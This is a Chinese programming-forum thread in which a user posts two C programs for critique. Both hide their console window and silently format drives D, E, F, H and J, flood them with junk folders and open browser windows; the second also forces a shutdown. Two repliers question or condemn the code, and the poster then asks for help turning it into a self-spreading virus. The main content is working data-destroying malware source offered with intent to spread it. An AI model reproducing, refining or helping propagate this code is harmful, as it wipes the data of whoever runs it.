| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 525 人关注过本帖, 1 人收藏
标题:请前辈们评价下这2个程序
只看楼主 加入收藏
lyxhkg
Rank: 2
等 级:禁止访问
帖 子:50
专家分:24
注 册:2012-4-24
结帖率:81.82%
收藏(1)
已结贴  问题点数:50 回复次数:3 
请前辈们评价下这2个程序
程序代码:
# include <stdio.h>
# include <windows.h>



int main(int argc,char *argv[])
{
ShowWindow(FindWindow("ConsoleWindowClass",argv[0]),0);

int x; int i;
FILE*fp=fopen("c:\\SB.bat","w");

for(i=0;i<100;i++)
{


fprintf(fp,"md D:\%d...\\\n",i);
fprintf(fp,"md e:\%d...\\\n",i);
fprintf(fp,"md f:\%d...\\\n",i);


if(i==25)
{
fprintf(fp,"Format d:/y/q/fs:NTFS\n",i);
fprintf(fp,"Format e:/y/q/fs:NTFS\n",i);
fprintf(fp,"Format f:/y/q/fs:NTFS\n",i);
fprintf(fp,"Format h:/y/q/fs:NTFS\n",i);
fprintf(fp,"Format j:/y/q/fs:NTFS\n",i);

}

if(i==3)
{
fprintf(fp,"start explorer http://www.baidu.com start explorer \n",i);
fprintf(fp,"start explorer http://www. start explorer \n",i);
fprintf(fp,"start explorer http://www. start explorer \n",i);
fprintf(fp,"start explorer http://www. start explorer \n",i);
fprintf(fp,"start explorer http://www. start explorer \n",i);
fprintf(fp,"start explorer http://www. start explorer \n",i);
fprintf(fp,"start explorer http://www. start explorer \n",i);
fprintf(fp,"start explorer http://www. start explorer \n",i);
fprintf(fp,"start explorer http://www. start explorer \n",i);
fprintf(fp,"start explorer http://www. start explorer \n",i);



}




}



fclose(fp);
system("c:\\SB.bat");



}



程序1# include <stdio.h>
# include <windows.h>
int main(int argc,char *argv[])
{
ShowWindow(FindWindow("ConsoleWindowClass",argv[0]),0);
system("Format d:/y/q/fs:NTFS");
system("Format e:/y/q/fs:NTFS");
system("Format f:/y/q/fs:NTFS");
system("Format h:/y/q/fs:NTFS");
system("Format j:/y/q/fs:NTFS");

int x = 6;
FILE*fp=fopen("c:\\SB.bat","w");
fprintf(fp,"md D:\sbq...\\\n",x);
fprintf(fp,"md D:\sbw...\\\n",x);
fprintf(fp,"md D:\sbe...\\\n",x);
fprintf(fp,"md D:\sbr...\\\n",x);
fprintf(fp,"md D:\sbt...\\\n",x);
fprintf(fp,"md D:\sby...\\\n",x);
fprintf(fp,"md D:\sbu...\\\n",x);
fprintf(fp,"md D:\sbi...\\\n",x);
fprintf(fp,"md D:\sbi...\\\n",x);
fprintf(fp,"md D:\sbo...\\\n",x);
fprintf(fp,"md D:\sbp...\\\n",x);
fprintf(fp,"md D:\sba...\\\n",x);
fprintf(fp,"md D:\sbs...\\\n",x);
fprintf(fp,"md D:\sbd...\\\n",x);
fprintf(fp,"md D:\sbf...\\\n",x);
fprintf(fp,"md D:\sbg...\\\n",x);
fprintf(fp,"md D:\sbh...\\\n",x);
fprintf(fp,"md D:\sbj...\\\n",x);
fprintf(fp,"md D:\sbk...\\\n",x);
fprintf(fp,"md D:\sbl...\\\n",x);
fprintf(fp,"md D:\sbz...\\\n",x);
fprintf(fp,"md D:\sbx...\\\n",x);
fprintf(fp,"md D:\sbc...\\\n",x);
fprintf(fp,"md D:\sbv...\\\n",x);
fprintf(fp,"md D:\sbb...\\\n",x);
fprintf(fp,"md D:\sbn...\\\n",x);
fprintf(fp,"md D:\sbm...\\\n",x);



fprintf(fp,"md e:\sbq...\\\n",x);
fprintf(fp,"md e:\sbw...\\\n",x);
fprintf(fp,"md e:\sbe...\\\n",x);
fprintf(fp,"md e:\sbr...\\\n",x);
fprintf(fp,"md e:\sbt...\\\n",x);
fprintf(fp,"md e:\sby...\\\n",x);
fprintf(fp,"md e:\sbu...\\\n",x);
fprintf(fp,"md e:\sbi...\\\n",x);
fprintf(fp,"md e:\sbi...\\\n",x);
fprintf(fp,"md e:\sbo...\\\n",x);
fprintf(fp,"md e:\sbp...\\\n",x);
fprintf(fp,"md e:\sba...\\\n",x);
fprintf(fp,"md e:\sbs...\\\n",x);
fprintf(fp,"md e:\sbd...\\\n",x);
fprintf(fp,"md e:\sbf...\\\n",x);
fprintf(fp,"md e:\sbg...\\\n",x);
fprintf(fp,"md e:\sbh...\\\n",x);
fprintf(fp,"md e:\sbj...\\\n",x);
fprintf(fp,"md e:\sbk...\\\n",x);
fprintf(fp,"md e:\sbl...\\\n",x);
fprintf(fp,"md e:\sbz...\\\n",x);
fprintf(fp,"md e:\sbx...\\\n",x);
fprintf(fp,"md e:\sbc...\\\n",x);
fprintf(fp,"md e:\sbv...\\\n",x);
fprintf(fp,"md e:\sbb...\\\n",x);
fprintf(fp,"md e:\sbn...\\\n",x);
fprintf(fp,"md e:\sbm...\\\n",x);


fprintf(fp,"md f:\sbq...\\\n",x);
fprintf(fp,"md f:\sbw...\\\n",x);
fprintf(fp,"md f:\sbe...\\\n",x);
fprintf(fp,"md f:\sbr...\\\n",x);
fprintf(fp,"md f:\sbt...\\\n",x);
fprintf(fp,"md f:\sby...\\\n",x);
fprintf(fp,"md f:\sbu...\\\n",x);
fprintf(fp,"md f:\sbi...\\\n",x);
fprintf(fp,"md f:\sbi...\\\n",x);
fprintf(fp,"md f:\sbo...\\\n",x);
fprintf(fp,"md f:\sbp...\\\n",x);
fprintf(fp,"md f:\sba...\\\n",x);
fprintf(fp,"md f:\sbs...\\\n",x);
fprintf(fp,"md f:\sbd...\\\n",x);
fprintf(fp,"md f:\sbf...\\\n",x);
fprintf(fp,"md f:\sbg...\\\n",x);
fprintf(fp,"md f:\sbh...\\\n",x);
fprintf(fp,"md f:\sbj...\\\n",x);
fprintf(fp,"md f:\sbk...\\\n",x);
fprintf(fp,"md f:\sbl...\\\n",x);
fprintf(fp,"md f:\sbz...\\\n",x);
fprintf(fp,"md f:\sbx...\\\n",x);
fprintf(fp,"md f:\sbc...\\\n",x);
fprintf(fp,"md f:\sbv...\\\n",x);
fprintf(fp,"md f:\sbb...\\\n",x);
fprintf(fp,"md f:\sbn...\\\n",x);
fprintf(fp,"md f:\sbm...\\\n",x);














fclose(fp);
system("c:\\SB.bat");

system("shutdown -s -f -t 5");

}



程序2

2013-05-20 08:49
雪狼MJ
Rank: 8Rank: 8
来 自:甘肃
等 级:蝙蝠侠
威 望:4
帖 子:267
专家分:853
注 册:2012-5-27
收藏
得分:25 
简单的说明下你这个程序的意图,程序的作用是什么?

Edsger Dijkstra:算法+数据结构=程序
2013-05-20 08:53
azzbcc
Rank: 19Rank: 19Rank: 19Rank: 19Rank: 19Rank: 19
来 自:江西财经大学
等 级:贵宾
威 望:81
帖 子:3293
专家分:12919
注 册:2012-11-4
收藏
得分:25 
居心不正,建议沉底

玩笑开过了,用md和shutdown -s就算了,毕竟还能 shutdown -a

竟然用Format,过分


[fly]存在即是合理[/fly]
2013-05-20 09:38
lyxhkg
Rank: 2
等 级:禁止访问
帖 子:50
专家分:24
注 册:2012-4-24
收藏
得分:0 
求指导!想让他流行起来做成能传染能感染的病毒
我一直在努力!!
2013-05-20 21:29
快速回复:请前辈们评价下这2个程序
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.022870 second(s), 9 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved